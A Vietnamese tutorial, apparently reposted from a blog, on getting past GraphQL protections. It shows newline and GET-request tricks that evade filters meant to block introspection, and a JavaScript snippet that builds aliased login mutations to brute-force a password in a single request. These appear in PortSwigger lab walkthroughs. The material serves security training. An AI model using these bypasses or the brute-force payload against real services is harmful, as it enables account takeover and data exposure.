Ở 2 phần trước chúng ta đã tìm hiểu về cấu trúc, cách thức hoạt động và một số lỗ hổng bảo mật thường gặp trong các ứng dụng sử dụng graphql api. Ở phần 2, chúng ta cũng đã tìm hiểu một số phương pháp tiếp cận và khai thác lỗ hổng của ứng dụng grapql api:
Ở phần 3 này, chúng ta sẽ tiếp cận theo hướng để vượt qua một số cơ chế bảo vệ ứng dụng grapql api để tiến hành khai thác lỗ hổng nhằm lấy thông tin nhạy cảm.
Nếu khi truy cập vào ứng dụng chạy grapql, nếu chúng ta không thể chạy các truy vấn introspection cho các API endpoints đang thực hiện kiểm thử, chúng ta có thể chèn một vài ký tự đặc biệt sau từ khóa schema.
Khi ứng dụng tắt introspection, nó có thể sử dụng một biểu thức chính quy (regex) để loại bỏ các từ khóa schema trong truy vấn gửi lên từ phía user để nhằm hạn chế nguy cơ lộ thông tin các schema. Lúc này, chúng ta có thể sử dụng một số ký tự đặc biệt như: khoảng trắng (space : ), dòng mới (new line : \n), dấu phẩy (commas : ,)… để kiểm tra xem ứng dụng xe có thể vượt qua các regex và truy cập tới ứng dụng graphql không.
Giả sử, nếu nhà phát triển chỉ kiểm tra và ngăng chặn các truy vấn có chứa từ khóa schema{, thì truy vấn introspection dưới đây sẽ có thể bypass:
# Truy vấn introspection với ký tự \n
{
"query": "query{__schema
{queryType{name}}}"
}
Nếu sử dụng phương pháp trên không thành công, có thể thực hiện thay đổi HTTP request. Có thể intro chỉ kiểm tra và ngăn chặn các request POST. Chúng ta có thể thực hiện thay đổi sang GET hoặc thay đổi sang POST với content-type
là x-www-form-urlencoded
.
Một ví dụ kiểm tra introspection được gửi thông qua GET, với các tham số được mã hóa trên URL.
# Đợt kiểm tra introspection bằng HTTP GET request
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
Lưu ý Nếu một enpoints chỉ chấp nhận các truy vấn introspection thông qua GET và chúng ta muốn phân tích kết quả của truy vấn bằng cách sử dụng InQL Scanner thì cần lưu kết quả truy vấn vào một file sau đó load vào InQL để phân tích
Như chúng ta đã biết, đối tượng GrapQL không thể chứa nhiều thuộc tính với tên giống nhau. Thường thì, trong GraphQL, các đối tượng không thể chứa nhiều thuộc tính có cùng tên. Các aliases cho phép chúng ta bypass cơ chế giới hạn này bằng cách chỉ định tên cho các thuộc tính mà bạn muốn API trả về. Ở đây chúng ta có thể sử dụng nhiều alias để trả về nhiều nhiều dữ liệu của cùng loại đối tượng trong một yêu cầu HTTP.
(Nguồn: https://portswigger.net/)
Ví dụ để trả về dữ liệu cho 2 product sử dụng getProduct chúng ta không thể sử dụng như sau:
#Invalid query
query getProductDetails {
getProduct(id: 1) {
id
name
}
getProduct(id: 2) {
id
name
}
}
Mà thay vào đó, để trả về dữ liệu của 2 product khác nhau thông qua getProduct với 2 alias khác nhau:
#Valid query using aliases
query getProductDetails {
product1: getProduct(id: "1") {
id
name
}
product2: getProduct(id: "2") {
id
name
}
}
Mặc dù alias được thiết kế để giới hạn số lần gọi API mà bạn cần thực hiện, nhưng chúng cũng có thể được sử dụng để thực hiện tấn công brute force vào một endpoints GraphQL.
Nhiều endpoints sẽ giới hạn số request HTTP được gọi tới để ngăn chặn các cuộc tấn công brute force. Nhưng với cách sử dụng alias này, chúng ta có thể chỉ cần gửi 1 request HTTP nhưng có thể lấy được nhiều dữ liệu như ở ví dụ nêu trên.
Link bài lab: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
Bài lab yêu cầu tìm đến enpoints ẩn để xóa user carlos và hoàn thành bài lab
Bước 1: Truy cập tới bài lab , khi truy cập thử endpoint /api, kết quả trả về: “Query not present”
Bước 2: Thử với endpoint GET /api?query=query{__typename} HTTP/2
Kết quả có trả về dữ liệu
Bước 3: Tiếp tục gửi request để kiểm tra introspection
GET /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A HTTP/2
Kết quả : “GraphQL introspection is not allowed”
Bước 4: Sử dụng kỹ thuật bypass ở trên, thêm ký tự new line %0a
vào sau __schema
và gửi request. Kết quả có thể lấy được dữ liệu
Bước 5: Lưu response thành file json sau đó load file vào INQL Scanner chúng ta sẽ thấy endpoint: getUser
và DeleteOrganizationUserInput
Bước 6: Tìm đến enpoint getUser
và gửi request với id=3 (Query mặc định là id: 1334) : GET /api?query=query%20%7B%0A%09getUser(id%3A3)%20%7B%0A%09%09id%0A%09%09username%0A%09%7D%0A%7D HTTP/2
Bước 7: Gọi đến endpoint deleteOrganizationUser
và resolve bài lab
Link bài lab: https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
Bài lab yêu cầu bypass cơ chế ngăn chặn brute force để log in vào tài khoản carlos
Bước 1: Login với tài khoản carlos và mật khẩu bất kì và bắt request: Request log in:
POST /graphql/v1 HTTP/2
Host: 0a93000e03d6e4c28029da8200c00068.web-security-academy.net
Cookie: session=YDEaNiNwmJJf9zpGnULduCLQcPhohypt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://0a93000e03d6e4c28029da8200c00068.web-security-academy.net/login
Content-Type: application/json
Content-Length: 233
Origin: https://0a93000e03d6e4c28029da8200c00068.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"carlos","password":"123456"}}}
Bước 2: Sử dụng extension InQL để sửa đổi request để tạo mutaion với nhiều alias
Raw request:
Bước 3: Sử dụng code javascript để tạo ra nhiều alias khác nhau với list mật khẩu sử dụng tại https://portswigger.net/web-security/authentication/auth-lab-passwords. Vào dev tool của trình duyệt (F12) và chạy trong console
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
Bước 4: Đưa vào payload vào InQL để gửi request và xem kết quả:
Raw request:
Bước 5: Đăng nhập với thông tin thành công ở bruteforce83 (password: "biteme", username: "carlos"
)
Đăng nhập thành công, resolved bài lab
Mặc dù ứng dụng có thể triển khai một số biện pháp để chống lại các hình thức tấn công nhằm dò tìm các endpoints ẩn hoặc ngăn chặn việc user gửi một lượng request lớn để tấn công brute force, nhưng chúng ta có thể lợi dụng một số tính năng của graphql nhưu: sử dụng các ký tự đặc biệt: new line (%0A or %0D or %0D%0A
), space ($20
), comma(%2C
) hoặc sử dụng alias để vượt qua các cơ chế bảo vệ này. Qua bài viết, hi vọng bạn đọc và lập trình viên có thể hiểu thêm một số cách thức tấn công vào ứng dụng graphql để từ đó có biện pháp phòng chống phù hợp. Một số biện pháp có thể áp dụng 1. Đối với introspection
2. Ngăn chặn brute force
Nguồn: https://viblo.asia
You need to login in order to like this post: click here
YOU MIGHT ALSO LIKE